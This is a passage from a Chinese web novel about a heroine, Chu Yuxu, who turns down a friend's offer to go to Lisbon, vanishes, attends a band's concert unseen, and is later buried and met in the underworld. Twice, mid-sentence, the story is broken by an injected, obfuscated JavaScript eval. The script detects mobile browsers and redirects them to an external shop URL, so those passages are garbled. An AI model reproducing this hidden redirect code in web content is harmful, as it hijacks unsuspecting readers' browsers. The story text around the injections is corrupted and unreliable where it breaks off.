初与序恰巧从椅子上站起身,打算往店里走。 “还有工作?”齐无尽双手插在长裤口袋里,想了想又补了一句,“你心情不好?” 初与序侧过头望向他,脚步没停:“如果有五十箱水,五十框日配和十五箱非日配等着你一个人验货上货,你心情也会不好。” 说着,她抬手指了指便利店边上那堆积成山的箱子。齐无尽顺着她手指的方向看去,纸箱堆得比人还高,把便利店侧面的通道堵得严严实实,上面印着各种饮料、牛奶、速食产品的logo。 他笑了一声:“我帮你吧。” 初与序下意识想说不需要,但又看向那堆山。这些工作量她自己一个人得不眠不休干一整晚,还不一定能完成,于是便把拒绝的话咽回去了。 齐无尽把外套脱下来搭在长椅背上,挽起袖子朝着那纸箱走去,初与序也开始行动。直到凌晨四点,最后一箱货才终于被整理好放上货架。 两人重新回到便利店门口的长椅上坐下。齐无尽额角渗出点汗水,被冷风一吹就蒸发了。初与序倒是被风吹得更冷了些,把手缩进袖子里,懒懒地倚在椅背上,面色苍白,精神不足,只有鼻尖和眼尾被夜风刮得微微泛红。 齐无尽侧过身看着她,少顷沙哑道:“你能不这样吗?” 初与序微愣,故作茫然:“我怎么样?” 齐无尽抿了抿唇,压低声音:“你的状态很不对劲你知道吗,我懂一点心理学知识,你不说,我能看出来。” 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“初与序,跟我去里斯本好不好?” “开什么玩笑?”初与序愣了一下,笑着再次转头去看齐无尽—— 齐无尽正垂着眼眸认真地望着自己,瞳孔里倒映着天边的星光,额前的红发被夜风吹得微微晃动,遮住一点眼睛。那双眼一眨不眨地和她对视。 良久,初与序从长椅上慢慢坐直身体,收起那点懒洋洋的姿态,脸上也没什么多余的表情,静静回望着齐无尽。 “齐无尽,我知道你对我是什么感情。” 初与序一字一顿道:“但也许这只是我将你拉入永冬之城,你因此救下了无恙,从而对我感激、敬佩、同病相怜、信任和暂时的依赖,被你误以为是其他的什么情感。” “如果你想回报我,你在安徽陪了我这么久,已经够了。” 齐无尽眼眸里的光暗了一点,脸色有些沉下来:“我们都在永冬之城活了九千多年,你觉得那种地方,那种活法,能让人分不清自己心里在想什么吗?是不是误以为,我自己清楚。” “你清楚?”初与序微微呼出一口气,白雾在眼前朦胧,一闪而过,“你清楚什么?” “你好不容易有了新的人生,你的未来光芒万丈。你不能继续和我留在原地,或者带着我一起走。我们不是一路人,我只把你当朋友,和你去里斯本也只会拖累你。” 齐无尽沉默了几秒,从长椅上起身站到初与序面前,挡住了身后的路灯。便利店的白光透过来,照亮他挺直的脊背和肩线,鼻梁投下立体的阴影。 “我不觉得那是什么拖累,你也不能认为我不是真心。”他沉声道,“我……” “你不明白。”初与序打断他,她仰起头看着齐无尽的眼睛,轻轻开口,“等你回到里斯本,和我分开一段时间,你就不会再想着我了。” “与序……” “总之谢谢你,齐无尽。”初与序对他轻轻一笑,笑容很温柔,像秋天的最后一阵风,带着凉意,也带着告别,“你走吧,好好陪无恙长大,过你喜欢的生活。别再担心我了。” 齐无尽站在原地没动,张张嘴想说些什么。 夜风忽然大了起来,卷起地上的落叶,哗啦啦从他们之间穿过去,打着旋飘向马路对面。那些落叶在他们之间划下了一道界限,看不见,跨不过。 “……我知道了。”齐无尽哑声道,“你不用来送我了,回家早点睡。” 初与序点了点头:“一路平安。” 齐无尽最后看了她一眼,那双黑沉沉的眼眸中翻涌着太多说不出口的话,最终都被他压了下去。他转过身,朝着街对面走去。 360.凛冬 后面的日子日复一日地平淡流过去。 初与序继续一个人生活,赚钱,每天和朋友在手机上聊几句,报个平安。初母从来没有给她发过消息,偶尔会给她的账户上打一笔钱,足够她生活半年,但没有留言和备注。初与序不动这笔钱,捐给孤儿院和小猫小狗救助站。 善佑医院和竹翰学院的事似乎彻底结束了,舆论的热度渐渐褪去,人们开始关注下一个热点,那些曾经轰动一时的新闻慢慢被时间抹去。 白闽和陈秋天还在追查,她们追查这些机构背后真正的势力,但线索断断续续。 而那群势力没有来找初与序的麻烦,这让她有些意外。不过有时候,她会在自家楼下看到一闪而过的黑衣人影,应该只是为了看守她,防止她做点什么,但不会主动攻击,甚至靠近。 但每时每刻都在被无处不在的敌对势力盯着,说不好还会被一颗子弹打死,这种感觉总归不好受。 于是,初冬的某天晚上。 那个时候的天气已经变冷了,呼出的气在路灯下凝成白雾。初与序裹紧连帽卫衣,出门上班。 当时,恰巧有一个人跟着她,却发现她走的并不是上班的路。那人顿了顿,跟了上去。半小时后,他发现自己来到了一条死胡同,初与序消失不见,而在胡同墙壁上贴着一张纸条,上面龙飞风雨写着几个大字: 「别跟了,我们井水不犯河水。」 黑衣人:“……” 从那天起,初与序确实没再看见那群人。或许是真的不跟了,又或许是换了一种方法。但只要看不见他们,初与序就无所谓,反正她也没什么值得他们惦记的了。 冬逢初给她的那封信,她一直小心翼翼地放在书柜里,用一本书压着,不让它落灰。 她也仍然没有再梦见冬逢初,冬逢初身上淡淡的花香,走路的姿态,说话的语气和温润礼貌的动作,她都快要忘记了。 唯独她的脸,刻在了初与序的脑海里。 那张脸太熟悉了,熟悉到只要照镜子,就能看见。他们长得太像了,同样的眉眼,同样的轮廓,同样的细节,只是冬逢初的更柔和一些。每次照镜子,仿佛就是透过镜子,看自己的爱人。 冬逢初,你离开后冬天还是那么冷。 十一月七日,立冬。 那天天气很冷,风像刀子一样刮过城市的上空。路上的行人都裹紧了棉袄,缩着脖子匆匆走过。便利店的关东煮卖得特别好,热腾腾的白气从锅里冒出来,模糊了玻璃窗。 也是在那一天,身处五湖四海的朋友们忽然发现——初与序消失了。 是真正意义上的消失,没有留下任何信息和痕迹。手机号注销了,身份证没有使用记录,银行卡停掉了,任何出行记录上都没有她。她发出的最后一条消息是十一月六日的晚上,回复景明垂的一句“晚安”。 他们没打算报警,怕初与序是因为某种可能违反法律规定的事而暂时离开。她身上有太多不能对警察解释的秘密,报警只会把她推向更危险的境地。 于是江意派人去寻找初与序的踪迹。以他的人脉和资源,想在国内找一个人,不是难事。但初与序的反侦查能力太好了,没有任何线索。她就像以前在永冬之城每次轮回末尾那样,彻彻底底消失不见,像人间蒸发。 向枝冥和安楚去了初与序的家,开门的是一个年轻姑娘,扎着马尾,穿着家居服,一脸茫然。 问她话,她说,上一任房主已经把房子低价卖给她了,前两天刚办完手续,那笔钱似乎又被前房主捐了。但前房主并没有留下任何联系方式,她自己也不知道该怎么联系那个人。 但这至少可以证明,是初与序自己离开,不是被人绑走的,她还活着。这让江意他们稍微放下一点心来,也就那么一点。 十一月二十二号,小雪节气。 今年的气温降得格外快,入冬后的第一场小雪真的落到了北京,而“苦咖啡不加糖”乐队的演唱会也开在这一天。 雪是从下午开始落的,一开始只是零星几点,飘在半空就化了。后来渐渐密起来,落在地上能积住薄薄一层,踩上去有咯吱声。 体育场门口已经排起了长龙,排队入场的观众们跺着脚,哈出的白气一团一团往上升。体育馆外的电子屏幕上,滚动播放着今晚乐队的logo。那是黑色的剪影,五个年轻人站在某个废弃的烂尾楼里,身后的生锈的钢架和沉下去的夕阳。 下方缓缓浮现一行字:苦咖啡不加糖——首场演唱会。 门开了,人群像潮水一样涌进去,检票口的工作人员被挤得站不稳,笑着喊:“慢点慢点!今晚时间还长!” 后台,随歌站在幕布后,透过缝隙往观众席上看。 场馆里几乎坐满了,一万二千个座位,此刻亮着星星点点的荧光棒。后面有几个大灯牌特别闪,上面写着“苦咖啡不加糖”,还有乐队五个人的名字。 李腾凑过来,顺着他的视线往外瞟了一眼,倒吸一口凉气:“操,这么多人。” “一万二。”随歌紧张地咬着牙,“我滴妈,几乎全坐满了。我自己怎么都不知道咱们这么火了?” 李腾的声音也跟着飘:“随~队~啊~我~们~真~的~能~唱~完~所~有~歌~吗~” “相信自己,腾儿。”随歌强装镇定,拍了拍李腾的肩膀,然后转头朝同样紧张的键盘手小胖抛了个媚眼,把小胖恶心地直打哆嗦。李腾在一边哧哧地笑,后台的气氛一下子轻松了不少。 随歌收回视线,又看向台下。 VIP区有一整排座位坐满了熟悉的面孔,那些曾经在永冬之城相熟的激进派住户,能来的都来了。可边上那三个座位是空的,分别留给了苏叶、冬逢初和初与序。前两个来不了,第三个不能来,此刻空荡荡的,在满长挥舞的荧光棒中格外刺眼。 随歌掏出手机,聊天界面停留在今天上午,一个陌生号码发来的一条短信:「祝演唱会开得顺利。」 这一看就是初与序发的,但那个号码大概在发完消息后就又注销了,随歌发了一连串消息,都没有任何回复。 他轻轻叹了口气,收起手机,低下头看着自己的右手。五指伸展,弯曲,再伸展。好好的,一点问题都没有。 七点三十分,灯光准时暗了下去。 整个体育馆陷入黑暗,所有的声音都安静下来,只有荧光棒照亮一小片区域,看不清台上任何景象。 咚—— 一声鼓响,闷闷的,像心跳声。 咚——咚—— 又是两声,紧接着,舞台后方,紫红混合的烟雾袅袅升起。 第一束光啪地从台上打下,照亮了正中央那个人。 灯光太烈了,照得那头灿烂的黄色短发像最耀眼的太阳。随歌低着头,一只手搭在麦克风上,骨节分明。另一只手拎着一把半旧的Stratocaster,那是个随意又蓄势待发的姿势。 台下瞬间爆发出欢呼,他们叫着随歌的名字,声音像潮水,一波一波往台上涌。 第二束光芒照亮了左侧。 李腾张手张脚,挂着贝斯。他单手抚着琴颈,另一只手插在裤兜里,侧着脸咧开嘴笑。 第三束、第四束光同时打下,右侧的键盘手和采样一坐一站,坐着的小胖面前是层层叠叠的按键与锥子,站着的抱着小型控制器,她朝着观众席挥了挥手。 第五束光照亮正后方的鼓手小周,他高高坐在平台之上,穿着束腿裤,手中灵活地转着鼓棒。微微仰着头,看着漫长的荧光棒,嘴角勾起。 每一束光打下来,观众席就爆发出一阵尖叫,五个人的名字被反复呼喊。 随歌朝台下笑了笑,凑近话筒:“各位,晚上好啊。” 尖叫声再次响起,快要把屋顶掀翻。耳膜发麻,心脏也跟着发麻。 “等了这么久,终于能站在这里,给你们唱歌了。”随歌的声音因为激动和紧张有些抖,但还是带着笑意,“冷吗?” 台下有人喊冷,有人喊不冷,有人喊随歌我爱你。 “北京,十一月二十二号,下雪了。”随歌稳稳当当说着,“我刚从后台出来时,小周和我说,今天卖热饮的摊位排了长队,队尾都拐到马路边上去了。我就想,这种天气,应该喝点什么。” 他顿了顿:“你们也知道,我最爱喝草莓牛奶。但我乐队里那四个嘴挑的,非说太甜了。那我想,就喝热可可算了,加棉花糖的那种。” 随歌垂下眼,轻轻扫了一下弦。 “第一首歌,就叫《热可可》。” “这首歌是我和李腾在还买成立乐队前就写好了的,写的那年,北京也在下雪。我和李腾窝在他家那个没暖气的卧室里,写了四个小时。” 李腾闻言,抬起头,对着话筒无语道:“写完之后,随队非要喝草莓牛奶,我上哪搞去?于是我就偷了我妈的可可粉,煮了两杯热可可。就是那种最便宜的,九块九一袋。” “我妈知道了,追着我打了三条街。” 全场爆笑,随歌也跟着笑。笑着笑着,他的目光落在台下那片荧光棒上,声音轻了下来,带着笑意和一点别的声音。 “所以说,《热可可》对于我很特别。”他说道,“也希望你们听完这首歌,能在今年的冬天暖和一点。” 话落,键盘手按下第一个音,温柔的和弦被一只手轻轻托起。 随歌低下头,开始唱: “这个冬天太长太长 我已不记得春的模样 当我捧上一杯热可可 苦的甜的都忘了……” 十六岁的随歌对于大多数人来说就是白月光,现在他的声音比那个时候低沉醇厚,但还是很干净晴朗。 白闽坐在VIP区,压低声音对旁边的赵禾说:“没想到人黄毛唱歌这么好听?在永冬之城都没听过他唱歌。” 李腾的贝斯滑过一个低音,键盘铺开长长的和弦。随歌的声音渐渐放开,不再紧绷: “热气模糊了整个世界 我看不清里面藏着什么 喝完这杯热可可 能不能把冬天都麻醉……” 唱到副歌部分,全场开始大合唱: “你说离别是加多了的糖 我说重逢是忘了搅拌的可可……” “晚风啊晚风 你吹走了我的少年 晚风啊晚风 你何时再吹他回来……” 一万二千人的声音汇成一条河,在穹顶下回荡,在灯光里流转。随歌闭上眼,让这条河托着自己走。 片刻后他又睁开眼,看向台下那三个空位,没有人在他期待的目光中坐下。他左右转动视线,试图在某个没人注意的阴影里找到那个熟悉的身影,但是没有。他宁愿相信是自己眼神不好,初与序肯定来了,只是躲在某个角落。 他们唱了很多歌,一首接着一首。台下经常爆发出激烈的欢呼,荧光棒挥舞成海,灯牌被高高举起,那些名字在黑暗中一闪一闪。 唱到某首歌的时候,随歌看到了自己的父母。总是恨铁不成钢的两个人此刻正举着儿子的闪光名牌,面带微笑地朝着自己挥手。曾经一起在凛冬下出生入死的同伴们也在为他欢呼,举着手机拍摄他的帅照,发到群聊里,给因为忙碌没法来看演唱会的朋友分享。 随歌有一瞬间鼻子发酸,湿润的泪滴从眼尾滑下一点,他借着撩头发的动作擦去。 这结局太不容易了,原来“苦尽甘来”这个词不是骗人的。 事已至此,该唱最后一首歌了。 灯光缓缓温柔地暗下去,像黄昏退去,夜幕降临。最后只剩下几束暖光,从不同角度笼罩着舞台中央的五个人,给他们镀上一层朦胧的金边。 随歌扶着话筒,安静地站了几秒。台下的呼喊声也弱下来,一万多双眼睛亮晶晶地望着他。 随歌轻轻开口:“最后一首歌,是在场格外包括台上的我们五人今晚最期待的。” 台下有人抢先喊了一句:“苦黎明!” 随歌笑了,那是温和的,带着怀念的笑容。他点了点头:“对,《Bitter Dawn》。中文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243423|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名叫《苦黎明》。” 他深吸一口气,握紧话筒:“写这首歌的时候,我们十六岁,个个天不怕地不怕。那时候觉得最苦的事情,就是天快亮了还没睡,等着什么,又不知道在等什么。” “后来才知道,有些黎明是苦的。有些天亮之后,比天黑还难熬。” 随歌停顿了几秒:“但这首歌也是甜的,因为是它让我们遇见你们,让我们走到今天。这首歌是写给过去的新,也送给我们所有朋友——” 他缓缓扫过台下VIP区那排熟悉的面孔,又落在边上那三个空座位上。 “送给今天没能来的人。” “我知道他们能听到。” 随歌转过头,看了看身后的四个人。贝斯手李腾,键盘手小胖,鼓手小周,采样月儿。他们都笑着望着他,眼神里充满了信任和这么多年来一起走过的路。 他转回来,眉眼弯弯:“好了,煽情结束。” “最后一首,《Bitter Dawn》。” 这首歌是相对温和的D小调,6/8拍。键盘手按下第一个音,温柔绵长的和弦流淌出来。鼓手轻轻敲击鼓边。贝斯滑过一个低音,沉沉的。 随歌握着话筒,低声跟着音乐哼前奏。灯光缓缓打在他身上,把他和那些空座位连成一片。 雪花还在窗外飘落,落在北京城的每一条街道,落在那些深夜还在赶路人的肩头,落在体育馆的穹顶上,落在那些没能来的人所在的远方。 随歌闭上眼睛,将话筒举到唇边: “天快亮的时候最冷 路灯一盏盏熄灭 影子拖得最长 长得像是要断裂你说等太阳出来就好了……” 他的声音带着唱了几个小时后的沙哑,也带着点别的什么难以言喻的感情。追光慢慢扩大,把台上五个人都笼罩了进去: “Counting all the nights I''ve waited Counting all the tears I''ve tasted 黎明前的每一秒 都像一生那么长……” 台下那些也唱哑了嗓子的观众们又开始跟着唱起来,声音从各个方向涌向舞台。 “苦黎明苦黎明 等得太久的人 已经忘了 天亮是什么样子……” 随歌睁开眼睛,他看见台下无数张脸,在荧光棒下忽明忽暗。他们的眼睛都望着台上,笑着或哭着,跟着一起唱。 恍惚间,他回到了旧世界。回到了竹翰学院的操场,冬天的冰水浇在身上,疼得喘不过气。回到充满血腥味的电击室,看见苏叶冰冷的身体被自己抱在怀里,怎么叫也叫不醒。回到了那些浑浑噩噩的日子,躺在床上盯着天花板,在心里默默唱着这首歌。 他听见苏叶的声音:“随歌,我还要听你的歌曲。” 现在,他真的站在了明亮的世界下,向人们唱着这首歌。 台上,小胖的鼓点再次进入,所有乐器都重了起来,像溺水的人猛地伸出手,把随歌从游离中拽了出来。 他站在灯光下,望着台下一片光海。 无论是苏叶,还是初与序,都是他生活里给他带来巨大转折的人。苏叶给了他坚定逃出地狱的信念,初与序给了他奔向幸福的机会。可此刻,他们都不在这里。 乐器忽然停下,只剩下了温柔的人声和吉他。 随歌缓缓开口,低声唱道: “我见过最长的夜 见过最冷的风 见过一个人倒下 再也没能起身” “Dawn is bitter,dawn is cold But I''m still standing in the dark Waiting for a light that neveres……” 歌曲接近尾声,所有乐器的声音越来越小,只有随歌缓缓低沉缓慢的嗓音在寂静中清晰无比。观众席上的人们默契地安静下来,静静地听着最后的尾声。 “天快亮的时候最冷 路灯一盏一盏熄灭 影子拖得最长长得像要断裂” “苦黎明苦黎明 等得太久的人 已经忘了 天亮是什么样子……” 吉他弹完最后一个和弦,余音在空气中飘动,被风裹着从观众席一直飘到遥远的天际,飘出体育馆,飘进雪里,飘向那些无法抵达的地方。 随歌睁开眼睛,顺着余音远去的方向,望向侧门。 他愣住了—— 在怔愣的人群边缘,一个瘦削的年轻人静静地站在侧门阴影里。灰色的大衣,乌黑长发披散,一闪而过,消失在门后。 “初与序——!” 随歌的高喊被震耳欲聋的欢呼淹没。 彩带从天花板上飘落下来,上面点缀的亮片闪闪发光。提前设计好的庆典时刻到了,观众们拼命鼓掌,立起欢呼,光海沸腾。 随歌来不及多想,趁着观众们的视线被漫天彩带遮住,急急忙忙冲下台,朝着侧门跑去。一把推开门,昏暗的走廊空荡荡的,只有安全出口的绿光一闪一闪。 他跑了几步,停下来四处张望,一个人都没有。 身后传来脚步声,景明垂和江意跟了进来。随歌转过头,对上他们的目光,眼睛还亮着刚才那一瞬间的光,此刻已经开始黯淡下来了。 “初与序……她来了吧?”随歌焦急地问。 “来了。”江意淡淡开口,“她故意让我们看到她一眼,报平安。” 口袋里的手机震动,随歌掏出来看,又是一个陌生号码发来的短信:「恭喜」。附着一张从角落拍的落彩带瞬间。画面里彩带纷扬,人群鼎沸。随歌抱着吉他站在台上,垂着眸唇角带笑,是意气风发的状态。暖色的光打在他身上,把他照得像一束光。 随歌点了保存照片,笑了笑:“平安就好。” 361.葬礼[番外] 当警察赶到观测站,潜入地下救人时,却只看见了完好无损但昏迷在地的袁曼,以及各个房间里穿着白色研究服的尸体。除此之外,无任何一人。 所有关于这场可疑爆炸的痕迹被清理得一干二净,能拍摄到这边的监控全部失灵,维修人员检查了好几天,最后都说修不好。围在周边的居民纷纷摇头,口口声称从爆炸开始到结束,没看到任何一个人进入这片区域。然后砰地把门关上,拒绝警方试图再次询问。 袁曼醒来后,似乎精神失常了。她神色惊恐地盯着虚空,嘴里不断念叨着:“……永冬之城……永冬之城……” 观测站培养舱里装着的那些各色浓稠液体被送去检验,检验结果显示那竟然只是普通的糖浆,只是加了大量的食用色素。 警方试图追击观测站背后的人员势力,但结果不尽人意。那些注册信息全都是假的,法人代表早已出境,资金链断在某个离岸账户里面,再也追不下去。 袁曼无法提供任何有效信息,她被送去了精神病院。地下观测站被填平,后来听说那里打算盖新的小区。 就像去年的善佑医院纵火事件一样,仅仅只过了短短几天工夫,这件爆炸案就被人们有意或无意地“忘去”了。媒体不再报道,热搜被早早撤去,发布相关言论的账号被封,日子又恢复了普普通通。晨起的煎饼摊子照样排着队,公交车里依旧人挤人,小区门口的修车摊里仍然有老人闲聊。太阳升起来,又落下去,人们继续周而复始地低头赶路,偶尔抬头看看和以前没什么两样的蓝天,感叹一句“春天来了”,又继续低头忙碌。那桩刻骨铭心的案子,对他们而言只不过是一场午后打盹时误入的梦,醒来后什么也不记得,什么也不在乎。 至于随歌等人,带着初与序的遗体,被蒋川从观测站内部早早准备好的暗道里半拖半拽出去后,他们预想的任何后果也都没有发生。 警察没有找上门,那些黑暗势力也没有。曾经悬在每个人头顶上的那把刀在这个新年被撤去,他们的过去与未来似乎终于和永冬之城彻底剥离,只剩下普通年轻人的身份。 D19、C13、S23和J23四个执行官,在离开观测站后,发现自己变成了正常的人类。他们有了心跳,有了体温,有了能感受到疼痛的身体,和会随着时间增长的年纪,只不过暂时是黑户。 江意很快帮他们上了户口,在人类的世界里生活。D19找了工作,据说干得还不错;S23整天游手好闲,但总能莫名其妙弄到合法的钱;J23终于能好好学习化妆,被不少男生女生追求;C13身为未成年人,即将要在寒假结束后前往学校。 火腿面包则被景明垂带了回去,正在努力改掉自己无时无刻都会话痨的习惯,假装自己只是个普通的面包,被景明垂保护得很好,倒还真没被其他人发现。 至于他们是如何在一睁眼就来到现实世界的,蒋川也不知道,可能就需要找通灵师问一问神通广大的初与序了。 几个人猜测,在永冬之城被摧毁后,他们这些特殊人员并没有随之消失。袁曼等人将昏迷的他们,或者将他们化作了某种类似于精神力的力量,暂时囚禁在观测站,等待第二个永冬之城现世,删除他们关于第一次永冬之城叛变的记忆,再将他们投放入城市,继续执行执行官的职责。 这样也能解释,为何他们醒来后第一眼看到的就是观测站的天花板,以及他们四人穿着相同的,似乎是被研究人员的白色T恤。 于是初与序真的如之前在永冬之城所说,潜入了观测站,用某种不为人知的方法将他们放了出来,让他们来到了这个新的世界,可以像普通人一样活着, 但无论如何他们都知道,初与序所付出的代价和痛苦,一定是罄竹难书的。 那就再来说说她吧。 从初与序去世后,安徽的气温开始上升。白天出门,总有暖洋洋的阳光透过树叶的缝隙,懒洋洋地照耀在人们身上。田野间,嫩绿的新芽迫不及待地从土里探出头,一丛一丛。溪水叮叮当当地撞着石头,水珠子落在岸边的青草上。微风拂过,带来泥土的芬芳和花香的甜蜜。 人们从冷冽的寒冬中回过神,迈入新春的温暖里,万物都散发着生机,除了初与序。 冬天那唯一一场雪似乎将她埋葬在一片苍茫的大地下,抹去她存在的痕迹。她在此孤独地长眠,结束这精彩又可悲的一生。 真可惜,明明还差一点,她就能看到燕子归来,春暖花开。 根据初与序的遗愿,几个人并没有将她去世的消息通知远在新加坡的初母,默默举行了葬礼。知道她死讯的人少,来参加葬礼的人也少,只有D栋几位相熟的好友。 那天下了细细密密的雨,落在身上也觉不出湿,站得久了,才发现肩头已经洇深了一片。 他们给初与序选了清净人少的墓园,在山坡上。从入口到墓碑那段路两边种着冬青,被雨水洗得发亮。脚下的石阶有些滑,每一步都要走得小心。 整座墓园此刻只有他们这一方人马,穿着黑色的衣服,打着同色的伞,零零散散排着队到墓碑前,准备将自己带来的东西放下。 初与序的墓碑上没有照片,江意等人没有找到属于她的照片,唯一一张还是在随歌相机里——那个在永冬之城忘忧海边,记录他们未来梦想的视频。 但几个人想了想,初与序应该不喜欢视频里自己的照片出现在墓碑上。毕竟那时的她是多么幸福,多么渴求未来。把那个温柔的笑容放在这里,太残忍了。他们便没有截下图,让墓碑上放遗像的地方空着。 墓园里的勿忘我到了开花的时期,蓝紫色的花瓣清新地绽放,带着苦涩的花香扑鼻而来,但不再像人们记忆中那样,裹着永冬之城凛冽的冷空气,只是纯粹的春天的花香,一时间闻着还不习惯。 江意弯下腰采了一朵。 他穿着黑色西装,系着领带,走到墓碑前蹲下,轻轻擦去碑上的雨水,然后将伞照在上方。 “新年快乐。”他轻声说,随后将那朵勿忘我放进墓碑前的白色小木盒里。 盒子里装着其他陪葬品,一枚戒指,一封浅蓝色的信,以及刚刚放入的一朵盛开的勿忘我,即便那朵花终究会枯萎。 景明垂站在一侧,她打着一把黑伞,脸上没什么表情,嘴唇抿成一条线。就那么静静地站着,少顷蹲下来,伸出手轻轻触碰冰冷的墓碑。 雨水顺着她白皙的手指往下淌,淌过墓碑上刻着的三个字名字。她张了张嘴,想说些什么,却忍不住哽咽,说不出话来。 也许是初与序这一辈子命都太大的缘故,景明垂从来没有想过,有一天会参加她的葬礼。 结果这一天竟然来得这么早,她无法接受。 她站起身,退到另一侧,看着随歌走上前。 随歌难得把那一头黄毛收拾服帖,低着头跪坐在墓碑前,脸色苍白,像是好几天没睡个好觉。 “……初与序。”他嘴唇动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过不得不承认的一点——初与序肯定希望能回到那个刻骨铭心的冬日,在漫天飞雪中与她的爱人重逢,不惧严寒。 远处山坡下,城市的灯火开始亮起来,一盏又一盏连成一片。葬礼结束,人们开始道别,陆陆续续离开。黑色的伞一把一把移向山下,像一条黑色的河流,缓缓流走。 江意等人在墓碑前又站了一会儿,雨渐渐大了起来,他们最后看了墓碑一眼,也下山了。 后来,每一年的大年初一都成了他们心照不宣的约定。 散落在天涯海角的朋友会在那一天不约而同地回到这座小城,在墓碑前蹲下来,笑着说说这一年来遇到的各种趣事。什么景明垂的话剧巡演到了哪座城市,随歌的乐队又写了什么新歌,江意谈下了某合作……总能说一晚上,山下万家灯火都亮起来,还是舍不得走。 所有人都相信一件事——初与序是去找冬逢初过年了。 什么因纽特人的传说丢一边去吧,冬逢初不需要站在五米开外,他可以伸出手,紧紧拥抱住爱人。他们不会再分开,不会再告别,不会再隔着生死相望。从此以后,每一个大年初一,都是他们的团圆。 山坡上的勿忘我一年一年地开着,那些痛苦和遗憾都成了过去的事。留在新世界的人,都会好好地活。他们会继续往前走,走到春天里,走到阳光下,走到初与序和冬逢初没机会看到的璀璨光辉里。 362.驾鹤西游(一)[番外] 人死后是真的会下地府的,过了鬼门关,便会来到黄泉路。 路是土路,泥土潮湿阴冷,寒气从鞋底钻上来,顺着骨头缝往上爬。四周飘浮着幽绿的鬼火,两旁开满了只见花不见叶的彼岸花,一簇一簇沿着路铺开,那就是花叶生生两不见,相念相惜永相失。孤魂野鬼游荡其间,哀嚎之声不绝于耳,令人心惊胆战。 路尽头就是忘川河,河水浑浊深沉,偶尔翻滚时会露出水下的白骨。奈何桥横在河上,刚死的亡魂们脚不沾地往前飘,肩上还压着没散尽的人间气,排着队往桥上走。鬼差立在边上看着,有哭泣的亡者,他们就上前安慰几句。有闹事的魂魄,他们就束缚住,重新拉回队伍里。 桥上支着一口铁锅,冒出的热气是青绿色的。孟婆地坐在那里,神情怜悯,拿着勺子慢慢搅,偶尔抬起头扫一眼桥下的黄泉路。 ——有一个刚死的亡魂没有跟着队伍走,混在游荡的孤魂野鬼之中。 她蜷缩着坐在角落里,靠着路边一块石头,捂着胃部,紧皱着眉,脸色苍白,一看就是还在承受着死前的痛苦。 如果亡魂是死于自戕,那么他们在到达地府后,可能还会继续承受一段时间的痛苦。 比如说,跳楼者浑身疼,割腕的手臂疼,服毒的五脏六腑疼……疼痛的程度和时间与他们生前的求生意识挂钩,意识越弱,就越疼,疼的时间也越长。 不过这种情况发生的很少,千年间不见一个。自戕者在人间已经受尽折磨,终于来到了阴间,总不能让他再痛苦下去。这是规矩,也是慈悲。 但那亡魂已经在原地停留了半个钟头还没缓过来,看来她生前实在是不幸。 黄泉路那头忽然传来了锁链拖拽的声音,雾气中隐隐约约出现了两顶高帽,一白一黑。亡魂们纷纷循声看去,就见两个不同于亡魂,穿着长袍的男子沿着路往这边走。 黑无常走在左侧,手里攥着勾魂锁,面色冰冷,嘴唇乌黑,周身阴气沉沉地往下坠,压得这边一排亡魂喘不上气。有胆小的已经缩成一团,低着头不敢看。白无常温和笑着在右边,扛着哭丧棒,上面缠着白纸,风一吹,纸便窸窸窣窣地响。 他们俩一路走过,鬼差们纷纷自觉地站到两侧,低头恭敬让路。白无常随意抬了抬手,示意他们自便,那些鬼差就又四散开来,继续干着自己的事。 两位无常一直走到黄泉路前头停下,垂下眼眸,居高临下地看着靠在角落里的亡魂。 那亡魂应该意识清醒,但却并不像其他魂魄一样,胆怯黑白无常身上自带的威压,反而仍然一动不动,甚至没有抬头看他们一眼的打算。 她穿着深色大衣,额前的刘海垂下来,又低着头,让黑白无常一时看不清她的外貌。 “这魂魄为何停留于此,不去桥头排队?”白无常微微弯腰,伸出手探了探亡魂的额头,便明白过来了,“原来是还有余痛未消,是自戕者。” 黑无常面无表情地盯着那个亡魂:“你是何人,姓甚名谁,何方人氏,逐一道来。” 那亡魂没有搭理他,像是什么都没听见。 黑无常等了片刻,耐心耗尽,抬手就朝着那人伸去,打算直接掐起她的脸来看个究竟——就在手即将碰到她皮肤时,那人微微侧头,躲开了他的手,然后抬起头,视线冷冰冰地扫过来。 看到那熟悉的面容,两人心头一凛! “初与序……是你?!”黑无常一惊,手腕一翻,漆黑的勾魂锁便露出。他厉声喝道,“你生为活人,闯入地府一次不够,竟还敢再来?!” 勾魂锁眨眼就扑向了初与序,初与序下意识要躲开,但刚死的魂魄本就虚弱,哪里躲得开?锁链直直缠上她的腰部,猛地收紧。 黑无常面无表情,手腕一抖,初与序整个人就被锁链轻轻松松提起,凌空被甩向不远处的一堵墙! 周围的亡魂吓得发出一阵惊呼,忙往远处躲去,就见初与序重重撞在墙上,又跌落下来,摔进潮湿的泥土里,用手肘撑着身体,捂着嘴剧烈咳嗽起来。 黑无常在提起她的时候就愣了一下——记忆里的初与序,还是当时能独自一人在万鬼深渊活下来的人,可此刻为何轻轻松松就被偷袭? 初与序两眼发黑,心中感叹这缕魂魄真虚弱,下意识以为会咳出血沫之类的,但又想起来,自己已经是死人了,哪来的血。 这么一折腾,或许是被摔懵了,她倒感觉五脏六腑不那么痛了,便翻身扶墙站起,咬着牙看向走过来的黑白无常,无奈道:“范无咎,你看我这样子像活人吗?” 初与序的身体呈现着半透明的魂魄状态,周身环绕着专属于逝者的阴气,和其他亡魂别无两样。 